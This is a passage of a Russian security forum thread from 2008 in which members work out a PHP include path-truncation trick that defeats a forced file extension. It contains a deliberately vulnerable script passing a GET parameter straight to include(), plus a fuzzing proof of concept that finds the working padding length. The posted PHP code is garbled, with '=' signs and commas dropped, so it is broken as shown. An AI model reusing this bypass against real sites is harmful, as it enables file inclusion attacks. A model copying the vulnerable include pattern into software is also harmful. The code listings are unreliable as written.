ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #21  
Старый 30.12.2008, 14:43
Аватар для ShAnKaR
ShAnKaR
Пачка маргарина
Регистрация: 14.07.2005
Сообщений: 964
Провел на форуме:
4646474

Репутация: 1424


Отправить сообщение для ShAnKaR с помощью ICQ
По умолчанию

вот еще цифра зависит от getcwd, в общем в сумме имя файла со слешами и с getcwd 4094, те перемещаем скрипт в другое место и соответственно кол-во слешей изменяется.
 
Ответить с цитированием

  #22  
Старый 30.12.2008, 14:48
Аватар для SQLHACK
SQLHACK
Голос разума
Регистрация: 27.09.2006
Сообщений: 529
Провел на форуме:
1607210

Репутация: 1617


Отправить сообщение для SQLHACK с помощью ICQ
По умолчанию

Вообщем написал скрипт для быстрой проверки.

Складываем в папку z:/home/localhost/www/testinc/
Скрипт становится доступным по адресу http://www.localhost/testinc/test.php

Скрипт который запускаем (test.php)
PHP код:
<?php
$evilstr 
"";
$fp fopen("log.txt","a");
for (
$x=0;$x<=500;$x++){
    
$evilstr .= "<";
    
$content file_get_contents("http://www.localhost/testinc/inc.php?inc=vuln.txt".$evilstr);
    if (
preg_match("#(.*)bugworking(.*)#",$content,$matches)){
        echo 
"http://www.localhost/testinc/inc.php?inc=vuln.txt".$evilstr."\r\n";
        die (
"Bug working with $x added chars");
    }else{
         
fputs($fp$content."\r\n\r\n");
    }
}
fclose($fp);
?>
Скрипт который инклюдит inc.php ложим туда же

PHP код:
<?php
error_reporting
(E_ALL);
include(
$_GET['inc'].".txt");
?>
и ложим файл vuln.txt с содержимым

PHP код:
-bugworking
запускаем в браузере http://www.localhost/testinc/test.php
Получаю в ответ, что бага работает 216 символов и более.

Версии
PHP Version => 5.2.4
Windows NT XHOME 5.1 build 2600 Build Date хр короче
Apache 2.2.4

но стоит прописать абсолютный путь в любом варианте, и больше ни чё не пашет.

PHP код:
<?php
error_reporting
(E_ALL);
include(
"Z:/home/localhost/www/testinc/".$_GET['inc'].".txt");
?>
Внимание вопрос. Почему ?
У кого есть идеи ?
то есть я не вижу объективных причин не работать с абсолютным путём.
__________________
Бойтесь своих желаний. Они могут исполниться....

...О-о-о-о, ушами не услышать, глазами не понять!

Последний раз редактировалось SQLHACK; 30.12.2008 в 15:35..
 
Ответить с цитированием

  #23  
Старый 30.12.2008, 15:21
Аватар для 1ten0.0net1
1ten0.0net1
Time out
Регистрация: 28.11.2005
Сообщений: 547
Провел на форуме:
2320925

Репутация: 1348


По умолчанию

Скрипт SQLHACK переделаный под себя не работает. Имхо - с 4.4.0 не работает
__________________
Нельзя считать себя достаточно взрослым, если у тебя школьные фотографии - цифровые.
 
Ответить с цитированием

  #24  
Старый 30.12.2008, 15:56
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

копать сорцы пшп?
 
Ответить с цитированием

  #25  
Старый 30.12.2008, 16:05
Аватар для SQLHACK
SQLHACK
Голос разума
Регистрация: 27.09.2006
Сообщений: 529
Провел на форуме:
1607210

Репутация: 1617


Отправить сообщение для SQLHACK с помощью ICQ
По умолчанию

вот проверил несколько функций, как то странно.

require_once - работает
require - работает
include - работает
include_once - работает
file_get_contents - не работает
fopen - не работает
file - не работает
readfile - не работает

почему только функции инклюда подвержены ?
а Virtual и другие не пашут.
__________________
Бойтесь своих желаний. Они могут исполниться....

...О-о-о-о, ушами не услышать, глазами не понять!
 
Ответить с цитированием

  #26  
Старый 30.12.2008, 16:08
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Цитата:
Сообщение от Spyder  
копать сорцы пшп?
Угу, к тому же они не оч сложные. Надеюсь если их скомпилировать, бага останется. Имхо там гдето тупой оверфлоу должен быть, а длина обусловлена расстоянием до той строки которая фактически передастся в функцию инклуда (или может там отдельно как нибудь текущая дира передаётся и её значение и переписывается этим методом?), но это догадки. Пока времени посмотреть нет

P.S.
php-5.2.6-Win32 пример от SQLHACK работает, выдаёт "Bug working with 219 added chars".

P.P.S.
С абсолютным путём кстати и может неработать, если переписывается имено указатель на текущую директорию, относительно которой относительный путь конвертится в абсолютный. А в случае абсолютного пути, нет необходимости в вычеслении действительного пути.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 30.12.2008 в 16:54..
 
Ответить с цитированием

  #27  
Старый 30.12.2008, 17:20
Аватар для SQLHACK
SQLHACK
Голос разума
Регистрация: 27.09.2006
Сообщений: 529
Провел на форуме:
1607210

Репутация: 1617


Отправить сообщение для SQLHACK с помощью ICQ
По умолчанию

есил бы бы был оверфлов то пхп бы падал ,имхо , а тут всё корректно обрабатывается при любом количестве символов в пути
__________________
Бойтесь своих желаний. Они могут исполниться....

...О-о-о-о, ушами не услышать, глазами не понять!
 
Ответить с цитированием

  #28  
Старый 30.12.2008, 17:31
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Цитата:
Сообщение от SQLHACK  
есил бы бы был оверфлов то пхп бы падал ,имхо , а тут всё корректно обрабатывается при любом количестве символов в пути
Не обязательно должен падать, мож строка где нибудь обрезается после какого нибудь предела, а всё что переписывается отношения к исполняемому коду не имеет.

А вот ещё один признак того, что скорее всего переписывается результат функции getcwd (получение текущего каталога), ну и причина того, что абсолютные пути не пашут:
Цитата:
Сообщение от ShAnKaR  
вот еще цифра зависит от getcwd, в общем в сумме имя файла со слешами и с getcwd 4094, те перемещаем скрипт в другое место и соответственно кол-во слешей изменяется.
P.S.
Вот тут: http://bugs.php.net/bug.php?id=41822
написано, что include с относительным путём вызывает getcwd.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

Последний раз редактировалось Qwazar; 30.12.2008 в 17:59..
 
Ответить с цитированием

  #29  
Старый 30.12.2008, 17:57
Аватар для Chaak
Chaak
Познавший АНТИЧАТ
Регистрация: 01.06.2008
Сообщений: 1,047
Провел на форуме:
5321514

Репутация: 3313


Отправить сообщение для Chaak с помощью ICQ
По умолчанию

По ходу уязвимость где-то в этих функциях:

PHP код:
static int php_stream_open_for_zend(const char *filenamezend_file_handle *handle TSRMLS_DC/* {{{ */
{
    return 
php_stream_open_for_zend_ex(filenamehandleENFORCE_SAFE_MODE|USE_PATH|REPORT_ERRORS|STREAM_OPEN_FOR_INCLUDE TSRMLS_CC);
}
/* }}} */

PHPAPI int php_stream_open_for_zend_ex(const char *filenamezend_file_handle *handleint mode TSRMLS_DC/* {{{ */
{
    
php_stream *stream;

    
stream php_stream_open_wrapper((char *)filename"rb"mode, &handle->opened_path);

    if (
stream) {
        
handle->type ZEND_HANDLE_STREAM;
        
handle->filename = (char*)filename;
        
handle->free_filename 0;
        
handle->handle.stream.handle stream;
        
handle->handle.stream.reader = (zend_stream_reader_t)_php_stream_read;
        
handle->handle.stream.closer stream_closer_for_zend;
        
handle->handle.stream.fteller stream_fteller_for_zend;
        
handle->handle.stream.interactive 0;
        
/* suppress warning if this stream is not explicitly closed */
        
php_stream_auto_cleanup(stream);

        return 
SUCCESS;
    }
    return 
FAILURE;


php_stream_open_wrapper(); - предпологаю, что уязвимость где-то в ней

Последний раз редактировалось ChaaK; 30.12.2008 в 18:02..
 
Ответить с цитированием

  #30  
Старый 30.12.2008, 18:01
Аватар для Qwazar
Qwazar
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912

Репутация: 4693


По умолчанию

Цитата:
Сообщение от ChaaK  
По ходу уязвимость где-то в этих функциях:
Я бы посмотрел ещё, где &handle->opened_path вычисляется..

З.Ы.
Второй файл что ты выложил - не в тему, он для GZIP.
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ